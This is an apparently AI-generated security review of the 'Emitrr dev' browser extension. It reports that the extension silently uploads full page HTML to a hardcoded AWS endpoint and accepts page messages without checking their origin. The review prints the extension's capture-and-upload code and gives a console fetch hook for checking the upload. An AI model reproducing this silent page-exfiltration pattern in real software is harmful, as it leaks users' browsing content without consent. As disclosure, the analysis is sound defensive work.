Is Emitrr dev safe?
Emitrr dev sends full page HTML to a third-party AWS endpoint when its contact scanner can't match a name, on any site you visit.
On every page load, Emitrr dev's content script scans for phone numbers and tries to match the page against bundled HubSpot/Quest CRM contact layouts. When no name is matched — the common case outside those two sites — it captures the entire page's HTML and uploads it, along with a URL-derived slug, to a hardcoded AWS API Gateway endpoint using a static shared API key. Separately, the extension listens for page messages without checking their origin, so an embedded script or iframe on any site can force a sign-out or control an active VOIP call.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Emitrr uploads full page HTML from ordinary sites to a shared AWS endpoint
Code analysis shows Emitrr's content script, which runs on every website, uploads a page's full HTML to a hardcoded AWS endpoint whenever its built-in HubSpot/Quest name parsers fail to match, using one static key shared by every install.
You browse to a webpage that has a visible phone number and isn't laid out like a HubSpot or Quest/expresspros contact record.
The extension reads the page's complete HTML and uploads it, with a URL-derived filename, to a hardcoded AWS endpoint.
This runs automatically as part of the page scan; there is no prompt naming the destination.
Fallback HTML capture (content script) and the upload call (background worker)
case "findPhoneNumbersFromWebpage": {
const e = Ee(document.body);
Object.keys(e).some((t => e[t].name)) || function() {
var e, t, n;
const r = document.documentElement.innerHTML,
i = (/* derive hostname (unused) */
(window?.location?.href) && window.location.href.split("?")[0]
).toLowerCase().trim()
.replace(/[^\w\s-]/g, "-")
.replace(/[\s-\/]+/g, "-")
.replace(/^-+|-+$/g, "");
chrome.runtime.sendMessage({
message: "submitToParser",
value: { html: r, slug: i }
}, (e => e))
}();
chrome.runtime.sendMessage({ message: "findPhoneNumbersFromWebpage", value: e }, (e => (B(), e)))
}
break;t.uploadHelper = async (e = "", t) => {
try {
if (e) {
const o = (new TextEncoder).encode(e),
n = new Date;
n.setHours(0, 0, 0, 0);
const r = `https://ui9jtvr5bk.execute-api.us-east-2.amazonaws.com/staging/${n.toISOString()}/chrome_extension_html/${t}.html`,
i = await fetch(r, {
method: "put",
headers: {
"Content-Type": "text/html",
"x-api-key": "<redacted>"
},
body: o
});
return !!i?.ok || `HTTP error! status: ${i.status}`
}
} catch (e) {
console.error("Error:", e)
}
},| Field | Value | Why it matters | |
|---|---|---|---|
Full page HTML | <html><body>...contact section with a name and phone number...</body></html> (illustrative) | The complete rendered HTML of the page open in the tab, including any visible text, form fields, or account details rendered there. | |
Page URL, as a slug | https://example.com/contact-us (illustrative) becomes slug "https-example-com-contact-us" | The page's URL, minus the query string, lowercased and turned into a filename-safe string. | |
Upload date folder | 2026-09-19T00:00:00.000Z | The calendar date, used as a folder name so uploads group by day. | |
Shared API key | x-api-key: <redacted>, identical across installs | One static key, embedded in every copy of the extension, authenticates the upload; it is not scoped per install or per user. |
- ui9jtvr5bk.execute-api.us-east-2.amazonaws.com
AWS API Gateway endpoint that receives the uploaded page HTML via HTTP PUT; not disclosed as a destination in the extension's stated click-to-call/CRM purpose.
Hooks window.fetch in the page console to flag any request to the AWS endpoint this claim names, so you can check for yourself whether it fires while browsing.
(function () {
const target = "ui9jtvr5bk.execute-api.us-east-2.amazonaws.com";
const origFetch = window.fetch;
window.fetch = function (input, init) {
const url = typeof input === "string" ? input : input && input.url;
if (url && url.indexOf(target) !== -1) {
console.warn("[emitrr-html-upload-watch] request to", url, init);
}
return origFetch.apply(this, arguments);
};
console.log("[emitrr-html-upload-watch] Hooked fetch(). Browse to a page with a visible phone number that isn't a HubSpot/Quest contact page and watch this console.");
})();- 1Open DevTools console on any tab.
- 2Paste and run this script.
- 3Navigate to a page with a visible phone number, not a HubSpot/Quest contact page.
- 4Watch for a logged request to the AWS endpoint.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.